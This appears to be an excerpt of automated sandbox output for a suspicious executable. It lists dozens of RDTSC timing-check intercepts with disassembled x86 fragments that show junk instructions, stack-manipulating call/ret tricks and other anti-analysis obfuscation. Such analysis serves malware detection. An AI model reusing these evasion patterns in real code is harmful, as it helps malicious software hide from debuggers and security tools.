Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13396C7 second address: 13396CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13396CB second address: 13396E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007F9D9C813270h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13396E5 second address: 13396EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F9D9CDEFDC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1339B50 second address: 1339B54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1339B54 second address: 1339B5A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1339B5A second address: 1339B60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1339B60 second address: 1339BFA instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F9D9CDEFDC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jnc 00007F9D9CDEFDD2h 0x00000013 nop 0x00000014 push 00000000h 0x00000016 push ecx 0x00000017 call 00007F9D9CDEFDC8h 0x0000001c pop ecx 0x0000001d mov dword ptr [esp+04h], ecx 0x00000021 add dword ptr [esp+04h], 0000001Bh 0x00000029 inc ecx 0x0000002a push ecx 0x0000002b ret 0x0000002c pop ecx 0x0000002d ret 0x0000002e jmp 00007F9D9CDEFDD3h 0x00000033 push 00000000h 0x00000035 mov esi, dword ptr [ebp+1246EDCCh] 0x0000003b push 00000000h 0x0000003d push 00000000h 0x0000003f push ebx 0x00000040 call 00007F9D9CDEFDC8h 0x00000045 pop ebx 0x00000046 mov dword ptr [esp+04h], ebx 0x0000004a add dword ptr [esp+04h], 00000017h 0x00000052 inc ebx 0x00000053 push ebx 0x00000054 ret 0x00000055 pop ebx 0x00000056 ret 0x00000057 push eax 0x00000058 push eax 0x00000059 push edx 0x0000005a pushad 0x0000005b push edx 0x0000005c pop edx 0x0000005d jmp 00007F9D9CDEFDD4h 0x00000062 popad 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133C225 second address: 133C229 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133BF03 second address: 133BF1D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D9CDEFDCBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b pushad 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133CA11 second address: 133CA1E instructions: 0x00000000 rdtsc 0x00000002 jg 00007F9D9C813266h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133E240 second address: 133E246 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133FE3B second address: 133FE41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133FE41 second address: 133FE4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jo 00007F9D9CDEFDC6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13404BC second address: 13404C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F9D9C813266h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13404C6 second address: 13404E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D9CDEFDD4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13404E6 second address: 13404F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F9D9C813266h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13444E9 second address: 13444ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13444ED second address: 1344548 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F9D9C813266h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e mov ebx, dword ptr [ebp+122D35CCh] 0x00000014 push 00000000h 0x00000016 mov edi, ebx 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push ebx 0x0000001d call 00007F9D9C813268h 0x00000022 pop ebx 0x00000023 mov dword ptr [esp+04h], ebx 0x00000027 add dword ptr [esp+04h], 00000017h 0x0000002f inc ebx 0x00000030 push ebx 0x00000031 ret 0x00000032 pop ebx 0x00000033 ret 0x00000034 mov ebx, edx 0x00000036 jmp 00007F9D9C81326Dh 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e push ebx 0x0000003f jmp 00007F9D9C81326Eh 0x00000044 pop ebx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1344548 second address: 1344552 instructions: 0x00000000 rdtsc 0x00000002 js 00007F9D9CDEFDCCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1346652 second address: 134668F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D9C813277h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007F9D9C813278h 0x00000010 push eax 0x00000011 push edx 0x00000012 jnp 00007F9D9C813266h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1344705 second address: 1344709 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13456A0 second address: 13456A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1344709 second address: 134470D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13456A4 second address: 13456AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13477B4 second address: 1347822 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D9CDEFDD4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a ja 00007F9D9CDEFDD0h 0x00000010 nop 0x00000011 sub edi, dword ptr [ebp+122D2D99h] 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push ebp 0x0000001c call 00007F9D9CDEFDC8h 0x00000021 pop ebp 0x00000022 mov dword ptr [esp+04h], ebp 0x00000026 add dword ptr [esp+04h], 00000017h 0x0000002e inc ebp 0x0000002f push ebp 0x00000030 ret 0x00000031 pop ebp 0x00000032 ret 0x00000033 mov dword ptr [ebp+1244A62Bh], esi 0x00000039 mov edi, dword ptr [ebp+124586B6h] 0x0000003f push 00000000h 0x00000041 jnl 00007F9D9CDEFDC9h 0x00000047 xchg eax, esi 0x00000048 pushad 0x00000049 push eax 0x0000004a push edx 0x0000004b pushad 0x0000004c popad 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1347822 second address: 1347846 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F9D9C813266h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jo 00007F9D9C813266h 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 push eax 0x00000017 push edx 0x00000018 jns 00007F9D9C81326Ch 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134683D second address: 1346843 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1346843 second address: 1346847 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1348886 second address: 134888C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134888C second address: 1348892 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1346847 second address: 13468CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov edi, dword ptr [ebp+122D1BC5h] 0x00000011 push dword ptr fs:[00000000h] 0x00000018 jng 00007F9D9CDEFDCCh 0x0000001e sub dword ptr [ebp+1244C646h], ecx 0x00000024 mov edi, 499E88A0h 0x00000029 mov dword ptr fs:[00000000h], esp 0x00000030 or bh, FFFFFFF8h 0x00000033 mov eax, dword ptr [ebp+122D0881h] 0x00000039 pushad 0x0000003a call 00007F9D9CDEFDD3h 0x0000003f movsx ecx, bx 0x00000042 pop edx 0x00000043 mov bx, 9D16h 0x00000047 popad 0x00000048 push FFFFFFFFh 0x0000004a push 00000000h 0x0000004c push esi 0x0000004d call 00007F9D9CDEFDC8h 0x00000052 pop esi 0x00000053 mov dword ptr [esp+04h], esi 0x00000057 add dword ptr [esp+04h], 0000001Ch 0x0000005f inc esi 0x00000060 push esi 0x00000061 ret 0x00000062 pop esi 0x00000063 ret 0x00000064 mov edi, 0D4B4E40h 0x00000069 nop 0x0000006a push eax 0x0000006b push edx 0x0000006c push esi 0x0000006d push eax 0x0000006e push edx 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13468CE second address: 13468D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13468D3 second address: 13468D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13468D9 second address: 13468DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13468DD second address: 1346906 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jp 00007F9D9CDEFDCCh 0x00000010 jp 00007F9D9CDEFDC6h 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F9D9CDEFDD1h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13479E2 second address: 13479E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13479E8 second address: 13479ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13479ED second address: 13479F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13479F3 second address: 1347A81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 and bl, FFFFFFAAh 0x0000000b push dword ptr fs:[00000000h] 0x00000012 mov ebx, dword ptr [ebp+122D279Dh] 0x00000018 mov dword ptr fs:[00000000h], esp 0x0000001f jmp 00007F9D9CDEFDD3h 0x00000024 mov eax, dword ptr [ebp+122D16FDh] 0x0000002a push 00000000h 0x0000002c push edi 0x0000002d call 00007F9D9CDEFDC8h 0x00000032 pop edi 0x00000033 mov dword ptr [esp+04h], edi 0x00000037 add dword ptr [esp+04h], 00000014h 0x0000003f inc edi 0x00000040 push edi 0x00000041 ret 0x00000042 pop edi 0x00000043 ret 0x00000044 mov dword ptr [ebp+12446911h], esi 0x0000004a push FFFFFFFFh 0x0000004c push 00000000h 0x0000004e push esi 0x0000004f call 00007F9D9CDEFDC8h 0x00000054 pop esi 0x00000055 mov dword ptr [esp+04h], esi 0x00000059 add dword ptr [esp+04h], 0000001Ah 0x00000061 inc esi 0x00000062 push esi 0x00000063 ret 0x00000064 pop esi 0x00000065 ret 0x00000066 push ebx 0x00000067 movzx edi, ax 0x0000006a pop ebx 0x0000006b nop 0x0000006c push eax 0x0000006d push edx 0x0000006e js 00007F9D9CDEFDCCh 0x00000074 push eax 0x00000075 push edx 0x00000076 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1347A81 second address: 1347A85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1347A85 second address: 1347AAF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D9CDEFDD7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jl 00007F9D9CDEFDD4h 0x00000010 push eax 0x00000011 push edx 0x00000012 jbe 00007F9D9CDEFDC6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134C052 second address: 134C057 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134C057 second address: 134C05C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134C05C second address: 134C0B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 mov edi, dword ptr [ebp+122D29FDh] 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push edx 0x00000013 call 00007F9D9C813268h 0x00000018 pop edx 0x00000019 mov dword ptr [esp+04h], edx 0x0000001d add dword ptr [esp+04h], 0000001Ch 0x00000025 inc edx 0x00000026 push edx 0x00000027 ret 0x00000028 pop edx 0x00000029 ret 0x0000002a mov ebx, dword ptr [ebp+122D2881h] 0x00000030 jo 00007F9D9C81326Bh 0x00000036 sbb bx, 9100h 0x0000003b push 00000000h 0x0000003d mov ebx, edi 0x0000003f xchg eax, esi 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 jnl 00007F9D9C813266h 0x00000049 js 00007F9D9C813266h 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1348A58 second address: 1348A5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1348A5C second address: 1348A62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1348A62 second address: 1348A7A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9D9CDEFDD3h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134B0FD second address: 134B10F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D9C81326Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134B10F second address: 134B11A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F9D9CDEFDC6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134E2B5 second address: 134E319 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push ecx 0x0000000c call 00007F9D9C813268h 0x00000011 pop ecx 0x00000012 mov dword ptr [esp+04h], ecx 0x00000016 add dword ptr [esp+04h], 0000001Ch 0x0000001e inc ecx 0x0000001f push ecx 0x00000020 ret 0x00000021 pop ecx 0x00000022 ret 0x00000023 push 00000000h 0x00000025 push 00000000h 0x00000027 push ebx 0x00000028 call 00007F9D9C813268h 0x0000002d pop ebx 0x0000002e mov dword ptr [esp+04h], ebx 0x00000032 add dword ptr [esp+04h], 00000017h 0x0000003a inc ebx 0x0000003b push ebx 0x0000003c ret 0x0000003d pop ebx 0x0000003e ret 0x0000003f movzx edi, si 0x00000042 stc 0x00000043 push 00000000h 0x00000045 mov di, D279h 0x00000049 clc 0x0000004a xchg eax, esi 0x0000004b push eax 0x0000004c push edx 0x0000004d jnp 00007F9D9C813268h 0x00000053 push ebx 0x00000054 pop ebx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134D348 second address: 134D362 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D9CDEFDD6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135259B second address: 13525C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9D9C81326Eh 0x00000008 jnl 00007F9D9C813266h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F9D9C81326Ch 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13525C4 second address: 13525CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13544C1 second address: 13544C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135051F second address: 1350523 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1352714 second address: 1352719 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1352719 second address: 1352805 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D9CDEFDD2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F9D9CDEFDCFh 0x0000000f nop 0x00000010 mov dword ptr [ebp+122D1F55h], edx 0x00000016 sbb bx, 6CDEh 0x0000001b push dword ptr fs:[00000000h] 0x00000022 call 00007F9D9CDEFDD5h 0x00000027 jmp 00007F9D9CDEFDD3h 0x0000002c pop edi 0x0000002d mov dword ptr fs:[00000000h], esp 0x00000034 push 00000000h 0x00000036 push esi 0x00000037 call 00007F9D9CDEFDC8h 0x0000003c pop esi 0x0000003d mov dword ptr [esp+04h], esi 0x00000041 add dword ptr [esp+04h], 00000015h 0x00000049 inc esi 0x0000004a push esi 0x0000004b ret 0x0000004c pop esi 0x0000004d ret 0x0000004e je 00007F9D9CDEFDD2h 0x00000054 jne 00007F9D9CDEFDCCh 0x0000005a mov eax, dword ptr [ebp+122D13EDh] 0x00000060 push 00000000h 0x00000062 push ebp 0x00000063 call 00007F9D9CDEFDC8h 0x00000068 pop ebp 0x00000069 mov dword ptr [esp+04h], ebp 0x0000006d add dword ptr [esp+04h], 00000017h 0x00000075 inc ebp 0x00000076 push ebp 0x00000077 ret 0x00000078 pop ebp 0x00000079 ret 0x0000007a jmp 00007F9D9CDEFDCCh 0x0000007f push FFFFFFFFh 0x00000081 mov ebx, dword ptr [ebp+122D29A1h] 0x00000087 nop 0x00000088 push eax 0x00000089 push edx 0x0000008a push eax 0x0000008b push edx 0x0000008c jmp 00007F9D9CDEFDD6h 0x00000091 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1352805 second address: 135280F instructions: 0x00000000 rdtsc 0x00000002 jc 00007F9D9C813266h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135280F second address: 1352815 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1352815 second address: 1352819 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1353833 second address: 135384B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D9CDEFDD4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1354786 second address: 135478A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134E47C second address: 134E482 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134E482 second address: 134E487 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134E530 second address: 134E549 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 pushad 0x00000009 je 00007F9D9CDEFDCCh 0x0000000f ja 00007F9D9CDEFDC6h 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135D347 second address: 135D34B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135EA02 second address: 135EA11 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jne 00007F9D9CDEFDC6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135EA11 second address: 135EA16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F1BA2 second address: 12F1BE7 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F9D9CDEFDC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F9D9CDEFDCDh 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 jmp 00007F9D9CDEFDD6h 0x00000017 pushad 0x00000018 popad 0x00000019 pop ebx 0x0000001a ja 00007F9D9CDEFDD2h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F1BE7 second address: 12F1BEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F1BEF second address: 12F1BF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1360DC1 second address: 1360DC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1360DC7 second address: 1360DD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1360DD1 second address: 1360DEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F9D9C81326Dh 0x0000000d push edx 0x0000000e pop edx 0x0000000f popad 0x00000010 popad 0x00000011 pushad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136413A second address: 1364143 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1364143 second address: 1364147 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13657C7 second address: 13657ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F9D9CDEFDCEh 0x0000000d popad 0x0000000e popad 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 push eax 0x00000014 push edx 0x00000015 push ebx 0x00000016 jl 00007F9D9CDEFDC6h 0x0000001c pop ebx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136DDD8 second address: 136DDDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
